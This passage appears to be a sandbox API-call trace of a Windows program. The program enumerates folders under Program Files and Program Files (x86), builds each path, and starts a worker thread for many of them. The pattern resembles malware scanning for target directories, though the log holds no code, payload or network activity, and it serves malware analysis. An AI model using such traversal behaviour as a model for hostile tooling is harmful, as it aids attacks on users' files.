	[0073.157] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3c) returned 0x2d72f58
	[0073.157] wcscpy (in: _Dest=0x2d72f58, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files"
	[0073.157] wcscat (in: _Dest=0x2d72f58, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\"
	[0073.157] wcscat (in: _Dest=0x2d72f58, _Source="Windows Mail" | out: _Dest="C:\\Program Files\\Windows Mail") returned="C:\\Program Files\\Windows Mail"
	[0073.158] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d72f58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x444
	[0073.158] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e4faee, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x3ba4b532, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3ba4b532, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1
	[0073.158] wcscmp (_String1="Windows Media Player", _String2=".") returned 1
	[0073.158] wcscmp (_String1="Windows Media Player", _String2="..") returned 1
	[0073.158] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4c) returned 0x2d504a0
	[0073.158] wcscpy (in: _Dest=0x2d504a0, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files"
	[0073.158] wcscat (in: _Dest=0x2d504a0, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\"
	[0073.158] wcscat (in: _Dest=0x2d504a0, _Source="Windows Media Player" | out: _Dest="C:\\Program Files\\Windows Media Player") returned="C:\\Program Files\\Windows Media Player"
	[0073.158] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d504a0) returned 1
	[0073.158] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c7efb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a4f7cc5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Multimedia Platform", cAlternateFileName="WINDOW~3")) returned 1
	[0073.158] wcscmp (_String1="Windows Multimedia Platform", _String2=".") returned 1
	[0073.158] wcscmp (_String1="Windows Multimedia Platform", _String2="..") returned 1
	[0073.158] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x2d7a170
	[0073.158] wcscpy (in: _Dest=0x2d7a170, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files"
	[0073.158] wcscat (in: _Dest=0x2d7a170, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\"
	[0073.158] wcscat (in: _Dest=0x2d7a170, _Source="Windows Multimedia Platform" | out: _Dest="C:\\Program Files\\Windows Multimedia Platform") returned="C:\\Program Files\\Windows Multimedia Platform"
	[0073.158] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7a170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x448
	[0073.159] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3ba71695, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3ba71695, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~4")) returned 1
	[0073.159] wcscmp (_String1="Windows NT", _String2=".") returned 1
	[0073.159] wcscmp (_String1="Windows NT", _String2="..") returned 1
	[0073.159] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x38) returned 0x2d70740
	[0073.159] wcscpy (in: _Dest=0x2d70740, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files"
	[0073.159] wcscat (in: _Dest=0x2d70740, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\"
	[0073.159] wcscat (in: _Dest=0x2d70740, _Source="Windows NT" | out: _Dest="C:\\Program Files\\Windows NT") returned="C:\\Program Files\\Windows NT"
	[0073.159] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70740) returned 1
	[0073.159] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3daa14c8, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3daa14c8, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WI8A19~1")) returned 1
	[0073.159] wcscmp (_String1="Windows Photo Viewer", _String2=".") returned 1
	[0073.159] wcscmp (_String1="Windows Photo Viewer", _String2="..") returned 1
	[0073.159] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4c) returned 0x2d504a0
	[0073.159] wcscpy (in: _Dest=0x2d504a0, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files"
	[0073.159] wcscat (in: _Dest=0x2d504a0, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\"
	[0073.159] wcscat (in: _Dest=0x2d504a0, _Source="Windows Photo Viewer" | out: _Dest="C:\\Program Files\\Windows Photo Viewer") returned="C:\\Program Files\\Windows Photo Viewer"
	[0073.160] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d504a0) returned 1
	[0073.160] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3ba4b532, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3ba4b532, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1
	[0073.160] wcscmp (_String1="Windows Portable Devices", _String2=".") returned 1
	[0073.160] wcscmp (_String1="Windows Portable Devices", _String2="..") returned 1
	[0073.160] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x54) returned 0x2d778a0
	[0073.160] wcscpy (in: _Dest=0x2d778a0, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files"
	[0073.160] wcscat (in: _Dest=0x2d778a0, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\"
	[0073.160] wcscat (in: _Dest=0x2d778a0, _Source="Windows Portable Devices" | out: _Dest="C:\\Program Files\\Windows Portable Devices") returned="C:\\Program Files\\Windows Portable Devices"
	[0073.160] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d778a0) returned 1
	[0073.160] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3b72a48d, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b72a48d, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Security", cAlternateFileName="WIDB62~1")) returned 1
	[0073.160] wcscmp (_String1="Windows Security", _String2=".") returned 1
	[0073.160] wcscmp (_String1="Windows Security", _String2="..") returned 1
	[0073.160] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x44) returned 0x4731140
	[0073.160] wcscpy (in: _Dest=0x4731140, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files"
	[0073.160] wcscat (in: _Dest=0x4731140, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\"
	[0073.160] wcscat (in: _Dest=0x4731140, _Source="Windows Security" | out: _Dest="C:\\Program Files\\Windows Security") returned="C:\\Program Files\\Windows Security"
	[0073.160] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4731140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x44c
	[0073.161] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3ba4b532, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3ba4b532, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1
	[0073.161] wcscmp (_String1="Windows Sidebar", _String2=".") returned 1
	[0073.161] wcscmp (_String1="Windows Sidebar", _String2="..") returned 1
	[0073.161] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x42) returned 0x4730d80
	[0073.161] wcscpy (in: _Dest=0x4730d80, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files"
	[0073.161] wcscat (in: _Dest=0x4730d80, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\"
	[0073.161] wcscat (in: _Dest=0x4730d80, _Source="Windows Sidebar" | out: _Dest="C:\\Program Files\\Windows Sidebar") returned="C:\\Program Files\\Windows Sidebar"
	[0073.161] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730d80) returned 1
	[0073.161] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8da88b6d, ftLastAccessTime.dwHighDateTime=0x1d3274e, ftLastWriteTime.dwLowDateTime=0x8da88b6d, ftLastWriteTime.dwHighDateTime=0x1d3274e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsApps", cAlternateFileName="WI7DB9~1")) returned 1
	[0073.161] wcscmp (_String1="WindowsApps", _String2=".") returned 1
	[0073.161] wcscmp (_String1="WindowsApps", _String2="..") returned 1
	[0073.161] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2d73540
	[0073.161] wcscpy (in: _Dest=0x2d73540, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files"
	[0073.161] wcscat (in: _Dest=0x2d73540, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\"
	[0073.161] wcscat (in: _Dest=0x2d73540, _Source="WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0073.161] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d73540, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x450
	[0073.162] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3b7042f9, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b7042f9, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1
	[0073.162] wcscmp (_String1="WindowsPowerShell", _String2=".") returned 1
	[0073.162] wcscmp (_String1="WindowsPowerShell", _String2="..") returned 1
	[0073.162] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x46) returned 0x47311e0
	[0073.162] wcscpy (in: _Dest=0x47311e0, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files"
	[0073.162] wcscat (in: _Dest=0x47311e0, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\"
	[0073.162] wcscat (in: _Dest=0x47311e0, _Source="WindowsPowerShell" | out: _Dest="C:\\Program Files\\WindowsPowerShell") returned="C:\\Program Files\\WindowsPowerShell"
	[0073.162] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47311e0) returned 1
	[0073.162] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3b7042f9, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b7042f9, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 0
	[0073.162] FindClose (in: hFindFile=0x2d71080 | out: hFindFile=0x2d71080) returned 1
	[0073.164] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d84bf0) returned 1
	[0073.164] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77ea0) returned 1
	[0073.164] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77e40) returned 1

Thread:
	id = 33
	os_tid = 0xcec

	[0073.144] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x32) returned 0x2d71000
	[0073.144] wcscpy (in: _Dest=0x2d71000, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)"
	[0073.144] wcscat (in: _Dest=0x2d71000, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\"
	[0073.144] wcscat (in: _Dest=0x2d71000, _Source="*" | out: _Dest="C:\\Program Files (x86)\\*") returned="C:\\Program Files (x86)\\*"
	[0073.144] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d830e8
	[0073.165] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\*", lpFindFileData=0x2d830e8 | out: lpFindFileData=0x2d830e8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x84dc8ab2, ftLastAccessTime.dwHighDateTime=0x1d5da5f, ftLastWriteTime.dwLowDateTime=0x84dc8ab2, ftLastWriteTime.dwHighDateTime=0x1d5da5f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71080
	[0073.165] wcscmp (_String1=".", _String2=".") returned 0
	[0073.165] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d830e8 | out: lpFindFileData=0x2d830e8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x84dc8ab2, ftLastAccessTime.dwHighDateTime=0x1d5da5f, ftLastWriteTime.dwLowDateTime=0x84dc8ab2, ftLastWriteTime.dwHighDateTime=0x1d5da5f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.166] wcscmp (_String1="..", _String2=".") returned 1
	[0073.166] wcscmp (_String1="..", _String2="..") returned 0
	[0073.166] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d830e8 | out: lpFindFileData=0x2d830e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33b7f536, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33b7f536, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1
	[0073.166] wcscmp (_String1="Adobe", _String2=".") returned 1
	[0073.166] wcscmp (_String1="Adobe", _String2="..") returned 1
	[0073.166] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2d73270
	[0073.167] wcscpy (in: _Dest=0x2d73270, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)"
	[0073.167] wcscat (in: _Dest=0x2d73270, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\"
	[0073.167] wcscat (in: _Dest=0x2d73270, _Source="Adobe" | out: _Dest="C:\\Program Files (x86)\\Adobe") returned="C:\\Program Files (x86)\\Adobe"
	[0073.167] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d73270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x454
	[0073.167] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d830e8 | out: lpFindFileData=0x2d830e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84dc8ab2, ftCreationTime.dwHighDateTime=0x1d5da5f, ftLastAccessTime.dwLowDateTime=0x84dc8ab2, ftLastAccessTime.dwHighDateTime=0x1d5da5f, ftLastWriteTime.dwLowDateTime=0x84dc8ab2, ftLastWriteTime.dwHighDateTime=0x1d5da5f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="c3f7e2c9", cAlternateFileName="")) returned 1
	[0073.167] wcscmp (_String1="c3f7e2c9", _String2=".") returned 1
	[0073.167] wcscmp (_String1="c3f7e2c9", _String2="..") returned 1
	[0073.167] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d730c0
	[0073.167] wcscpy (in: _Dest=0x2d730c0, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)"
	[0073.167] wcscat (in: _Dest=0x2d730c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\"
	[0073.167] wcscat (in: _Dest=0x2d730c0, _Source="c3f7e2c9" | out: _Dest="C:\\Program Files (x86)\\c3f7e2c9") returned="C:\\Program Files (x86)\\c3f7e2c9"
	[0073.167] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d730c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x458
	[0073.168] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d830e8 | out: lpFindFileData=0x2d830e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3b691ba5, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b691ba5, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1
	[0073.168] wcscmp (_String1="Common Files", _String2=".") returned 1
	[0073.168] wcscmp (_String1="Common Files", _String2="..") returned 1
	[0073.168] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x4730ec0
	[0073.168] wcscpy (in: _Dest=0x4730ec0, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)"
	[0073.168] wcscat (in: _Dest=0x4730ec0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\"
	[0073.168] wcscat (in: _Dest=0x4730ec0, _Source="Common Files" | out: _Dest="C:\\Program Files (x86)\\Common Files") returned="C:\\Program Files (x86)\\Common Files"
	[0073.168] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4730ec0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x45c
	[0073.169] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d830e8 | out: lpFindFileData=0x2d830e8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0073.169] wcscmp (_String1="desktop.ini", _String2=".") returned 1
	[0073.169] wcscmp (_String1="desktop.ini", _String2="..") returned 1
	[0073.169] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d830e8 | out: lpFindFileData=0x2d830e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc5e5a66, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0x3a29a064, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3a29a064, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google", cAlternateFileName="")) returned 1
	[0073.169] wcscmp (_String1="Google", _String2=".") returned 1
	[0073.169] wcscmp (_String1="Google", _String2="..") returned 1
	[0073.169] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3c) returned 0x2d73108
	[0073.169] wcscpy (in: _Dest=0x2d73108, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)"
	[0073.169] wcscat (in: _Dest=0x2d73108, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\"
	[0073.169] wcscat (in: _Dest=0x2d73108, _Source="Google" | out: _Dest="C:\\Program Files (x86)\\Google") returned="C:\\Program Files (x86)\\Google"
	[0073.169] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d73108, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x460
	[0073.170] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d830e8 | out: lpFindFileData=0x2d830e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3ba71695, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3ba71695, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1
	[0073.170] wcscmp (_String1="Internet Explorer", _String2=".") returned 1
	[0073.170] wcscmp (_String1="Internet Explorer", _String2="..") returned 1
	[0073.170] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x52) returned 0x2d778a0
	[0073.170] wcscpy (in: _Dest=0x2d778a0, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)"
	[0073.170] wcscat (in: _Dest=0x2d778a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\"
	[0073.170] wcscat (in: _Dest=0x2d778a0, _Source="Internet Explorer" | out: _Dest="C:\\Program Files (x86)\\Internet Explorer") returned="C:\\Program Files (x86)\\Internet Explorer"
	[0073.170] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d778a0) returned 1
	[0073.170] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d830e8 | out: lpFindFileData=0x2d830e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc211eecb, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3a2e634d, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3a2e634d, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1
	[0073.170] wcscmp (_String1="Microsoft Office", _String2=".") returned 1
	[0073.170] wcscmp (_String1="Microsoft Office", _String2="..") returned 1
	[0073.170] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x50) returned 0x2d504a0
	[0073.170] wcscpy (in: _Dest=0x2d504a0, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)"
	[0073.170] wcscat (in: _Dest=0x2d504a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\"
	[0073.170] wcscat (in: _Dest=0x2d504a0, _Source="Microsoft Office" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office") returned="C:\\Program Files (x86)\\Microsoft Office"
	[0073.170] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d504a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x464
	[0073.171] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d830e8 | out: lpFindFileData=0x2d830e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3a24da58, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3a24da58, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1
	[0073.171] wcscmp (_String1="Microsoft.NET", _String2=".") returned 1
	[0073.171] wcscmp (_String1="Microsoft.NET", _String2="..") returned 1
	[0073.171] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4a) returned 0x2d54a60
	[0073.171] wcscpy (in: _Dest=0x2d54a60, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)"
	[0073.171] wcscat (in: _Dest=0x2d54a60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\"
	[0073.171] wcscat (in: _Dest=0x2d54a60, _Source="Microsoft.NET" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET") returned="C:\\Program Files (x86)\\Microsoft.NET"
	[0073.171] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d54a60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x468
